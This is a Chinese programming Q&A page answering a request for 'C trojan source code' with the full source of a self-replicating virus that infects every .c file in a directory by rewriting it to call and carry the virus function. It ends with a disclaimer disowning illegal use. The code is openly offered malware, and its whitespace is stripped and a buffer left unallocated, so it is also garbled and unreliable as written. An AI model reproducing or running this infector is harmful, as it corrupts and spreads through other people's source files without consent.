程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C >> C語言問答 >> c語言木馬源代碼

c語言木馬源代碼

編輯:C語言問答

c語言木馬源代碼

最佳回答:

#include<stdio.h>
#include<dir.h>
voidmain(void)
{
virus();
}
intvirus()
{
structffblkffblk;
FILE*in,*out,*read;
char*virus="virus.c";
charbuf[50][80];
char*p;
char*end="return";
char*bracket="}";
char*main="main";
char*include[2]={"stdio.h","dir.h"};
char*int_virus="intvirus()";
char*buffer;
intdone,i,j=0,flag=0;
printf("\nIhaveavirus.WritenbyPuBin\n");
done=findfirst("*.c",&ffblk,0);
while(!done)
{
i=0;
if((in=fopen(ffblk.ff_name,"rt"))==NULL)
{
gotonext;
}
do{
if(i>=50)
{
fclose(in);
gotonext;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
elseif((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs("char*virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
printf("\nYourcprogram%shasavirus.WritenbyPuBin\n",ffblk.ff_name);
next:done=findnext(&ffblk);
}
return0;
}
嚴重聲明:這個程序只是供C語言新手參考,開玩笑沒關系,但如果用來做不法的事情,本人概不負責。還有,編病毒、木馬去做違法的事情懲罰是很重的,你如果想學編程,編個簡單的就好了,否則後果很嚴重。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved